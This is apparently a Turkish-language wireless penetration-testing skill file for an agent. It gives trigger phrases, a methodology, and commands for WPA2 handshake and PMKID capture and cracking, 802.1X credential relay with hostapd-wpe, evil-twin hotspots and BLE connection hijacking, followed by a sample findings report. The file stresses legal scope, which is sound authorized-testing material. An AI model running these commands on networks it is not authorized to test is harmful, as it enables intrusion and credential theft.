Pentest Wireless

pentest-wireless

WiFi + Bluetooth pentest advisory. Aktif wifi attack icin engagement icinde fiziksel mevcudiyet + spectrum izni gerekir.

Triggers

• "WiFi pentest"
• "WPA2 handshake crack"
• "WPA3 SAE"
• "evil twin"
• "deauth saldirisi"
• "802.1X PEAP"
• "Bluetooth pentest"
• "BLE GATT"

Methodology

1. Recon: airodump-ng / kismet ile passive listen
2. Hedef tespit: SSID, BSSID, channel, encryption, client count
3. Handshake yakala: deauth + capture (WPA2) / PMKID (no client gerekmez)
4. Crack: hashcat / aircrack-ng
5. Post-conn: ARP spoofing + MITM (varsa)
6. Enterprise: EAP-PEAP relay (hostapd-wpe)

Hedef Tespiti

# QUIET — passive monitor
airodump-ng wlan0mon                          # tum AP listele
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# QUIET — channel hop monitor
kismet -c wlan0

Handshake Yakalama Yaklasimlar

# PMKID capture (en sessiz, client gerekmez)
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
hcxpcapngtool -o hash.hc22000 pmkid.pcapng

# Hashcat crack
hashcat -m 22000 hash.hc22000 wordlist.txt -r rules/best64.rule

# 4-way handshake (klasik)
aircrack-ng -w wordlist.txt -b AA:BB:CC:DD:EE:FF capture-01.cap

WPA3 SAE

• Dragonblood saldirilari (CVE-2019-9494, CVE-2019-9495): downgrade + side-channel
• Transition mode (WPA2 + WPA3) — WPA2 fallback ile downgrade
• SAE-PT: pre-shared password tablosu offline (group-specific)

802.1X Enterprise

# EAP relay (hostapd-wpe) — kullanici credential capture
hostapd-wpe ./hostapd-wpe.conf

# Cred captured -> NTLM hash crack (offline)
hashcat -m 5500 hash.txt wordlist.txt

Onlem: cihaz sertifika dogrulamasi (Server Certificate Validation + CA pin) — kullanici onboarding'de zorunlu olmali.

Evil Twin (Yasal Cerceve Onemli)

• Sadece kullanici izinli pentest kapsaminda
• AP'nin SSID'sini taklit eden hotspot
• Kullanici cred girer -> capture
• Riski: yanlislikla yetkili kullanici phish + GDPR ihlali

# WiFi-Pumpkin / Pi-Hole AP framework
# Pumpkin -i wlan0 --ssid "Corp-Guest"

Bluetooth / BLE

# QUIET — passive scan
hcitool lescan
sudo bluetoothctl
# > scan on

# BLE GATT enumeration
gatttool -b AA:BB:CC:DD:EE:FF -I
# > connect
# > primary
# > characteristics

# BLE replay/MITM (gatttool + spoof)
# btlejack: BLE sniffer + relay
btlejack -s                                   # sniff advertisements
btlejack -c any -j                            # hijack connection (CTF/lab)

Output Sablonu

## Wireless Pentest — <konum>

### AP Inventaryi
- "CorpWiFi" (WPA2-PSK) — handshake yakalandi, crack 3sa (zayif parola)
- "CorpEnterprise" (WPA2-EAP) — PEAP relay ile 12 user cred capture
- "CorpGuest" (Open) — captive portal bypass denemesi (out-of-scope)

### Bulgu
- WPA2-PSK parola "Spring2024" (3sa crack)
- Cert validation eksik client cihazlarda -> 802.1X PEAP relay basari

### Onerisi
- PSK -> Enterprise EAP-TLS (sertifika)
- Cert pin client side zorunlu
- WPA3-only mode (transition mode kapat)

Out-of-Scope

• Yetki disi spectrum / izinsiz radio operasyonu (CFAA + yasal risk)
• Karsi taraftan deauth ile DoS (legal risk + scope-guard hard refusal)
• 3. taraf konumda evil twin